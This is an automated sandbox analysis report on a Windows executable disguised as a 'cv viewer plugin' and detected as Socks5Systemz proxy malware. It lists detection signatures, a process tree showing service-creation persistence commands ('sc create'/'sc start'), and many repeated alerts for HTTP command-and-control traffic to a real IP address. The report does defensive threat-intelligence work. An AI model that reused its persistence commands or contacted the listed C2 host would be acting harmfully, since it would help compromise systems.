Edit tour

Windows Analysis Report
cv viewer plugin 8.31.40.exe

Overview

General Information

Sample name:	cv viewer plugin 8.31.40.exe
Analysis ID:	1502272
MD5:	cc497003e60667b5e3a13548ebb571fe
SHA1:	91263b59d8f4929a39af589b6890ce8823c4244f
SHA256:	f74ef29e192d79c8abaf8ba74fb4730895604ef65fd0ad5b3dc6feb98ed6642c
Tags:	exe
Infos:

Detection

Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Socks5Systemz

AI detected suspicious sample

Contains functionality to infect the boot sector

Found API chain indicative of debugger detection

Machine Learning detection for sample

Sigma detected: Suspicious New Service Creation

Uses known network protocols on non-standard ports

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7984 cmdline: cmd /c sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" >> C:\servicereg.log 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8056 cmdline: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 8100 cmdline: cmd /c sc start zuYSo >> C:\servicestart.log 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7268 cmdline: sc start zuYSo MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cv viewer plugin 8.31.40.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" MD5: CC497003E60667B5E3A13548EBB571FE)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000007.00000002.2645068946.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: cv viewer plugin 8.31.40.exe PID: 7320	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , CommandLine: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: cmd /c sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" >> C:\servicereg.log 2>&1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , ProcessId: 8056, ProcessName: sc.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , CommandLine: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: cmd /c sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" >> C:\servicereg.log 2>&1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" , ProcessId: 8056, ProcessName: sc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:21.067707+0200
SID:	2049467
Severity:	1
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:38.485156+0200
SID:	2049467
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:40.984852+0200
SID:	2049467
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:12.426483+0200
SID:	2049467
Severity:	1
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:19.630560+0200
SID:	2049467
Severity:	1
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:23.068462+0200
SID:	2049467
Severity:	1
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:40.178639+0200
SID:	2049467
Severity:	1
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:47.651547+0200
SID:	2049467
Severity:	1
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:18.819460+0200
SID:	2049467
Severity:	1
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:00.588783+0200
SID:	2049467
Severity:	1
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:51.559222+0200
SID:	2049467
Severity:	1
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:39.346060+0200
SID:	2049467
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:58.050877+0200
SID:	2049467
Severity:	1
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:57.213414+0200
SID:	2049467
Severity:	1
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:01.396169+0200
SID:	2049467
Severity:	1
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:31.215466+0200
SID:	2049467
Severity:	1
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:45.496154+0200
SID:	2049467
Severity:	1
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:43.819808+0200
SID:	2049467
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:28.427710+0200
SID:	2049467
Severity:	1
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:25.567897+0200
SID:	2049467
Severity:	1
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:28.734686+0200
SID:	2049467
Severity:	1
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:34.049471+0200
SID:	2049467
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:25.443187+0200
SID:	2049467
Severity:	1
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:36.033652+0200
SID:	2049467
Severity:	1
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:21.881623+0200
SID:	2049467
Severity:	1
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:30.488247+0200
SID:	2049467
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:48.460032+0200
SID:	2049467
Severity:	1
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:44.674814+0200
SID:	2049467
Severity:	1
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:11.611904+0200
SID:	2049467
Severity:	1
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:54.739783+0200
SID:	2049467
Severity:	1
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:16.022052+0200
SID:	2049467
Severity:	1
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:34.861365+0200
SID:	2049467
Severity:	1
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:14.399313+0200
SID:	2049467
Severity:	1
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:21.317861+0200
SID:	2049467
Severity:	1
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:15.206583+0200
SID:	2049467
Severity:	1
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:24.727641+0200
SID:	2049467
Severity:	1
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:27.579978+0200
SID:	2049467
Severity:	1
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:10.786477+0200
SID:	2049467
Severity:	1
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:29.555951+0200
SID:	2049467
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:58.929152+0200
SID:	2049467
Severity:	1
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:22.966280+0200
SID:	2049467
Severity:	1
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:27.230646+0200
SID:	2049467
Severity:	1
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:30.374754+0200
SID:	2049467
Severity:	1
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:04.923998+0200
SID:	2049467
Severity:	1
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:08.667951+0200
SID:	2049467
Severity:	1
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:31.303698+0200
SID:	2049467
Severity:	1
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:42.991483+0200
SID:	2049467
Severity:	1
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:29.245060+0200
SID:	2049467
Severity:	1
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:07.832793+0200
SID:	2049467
Severity:	1
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:45.845487+0200
SID:	2049467
Severity:	1
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:33.355540+0200
SID:	2049467
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:38.142044+0200
SID:	2049467
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:42.164915+0200
SID:	2049467
Severity:	1
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:33.704540+0200
SID:	2049467
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:18.002525+0200
SID:	2049467
Severity:	1
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:26.270947+0200
SID:	2049467
Severity:	1
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:14.047189+0200
SID:	2049467
Severity:	1
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:13.239729+0200
SID:	2049467
Severity:	1
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:52.748597+0200
SID:	2049467
Severity:	1
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:53.914207+0200
SID:	2049467
Severity:	1
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:49.658488+0200
SID:	2049467
Severity:	1
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:27.915380+0200
SID:	2049467
Severity:	1
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:46.818976+0200
SID:	2049467
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:17.196962+0200
SID:	2049467
Severity:	1
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:16.841168+0200
SID:	2049467
Severity:	1
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:03.032767+0200
SID:	2049467
Severity:	1
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:32.118123+0200
SID:	2049467
Severity:	1
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:49.309231+0200
SID:	2049467
Severity:	1
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:50.353090+0200
SID:	2049467
Severity:	1
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:56.398645+0200
SID:	2049467
Severity:	1
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:09.020764+0200
SID:	2049467
Severity:	1
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:23.880712+0200
SID:	2049467
Severity:	1
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:50.001036+0200
SID:	2049467
Severity:	1
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:04.062935+0200
SID:	2049467
Severity:	1
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:55.569903+0200
SID:	2049467
Severity:	1
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:23.792402+0200
SID:	2049467
Severity:	1
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:02.219305+0200
SID:	2049467
Severity:	1
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:22.129953+0200
SID:	2049467
Severity:	1
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:14:20.472670+0200
SID:	2049467
Severity:	1
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.9 - Destination IP: 185.196.8.214

Timestamp:	2024-08-31T22:13:30.109888+0200
SID:	2049467
Severity:	1
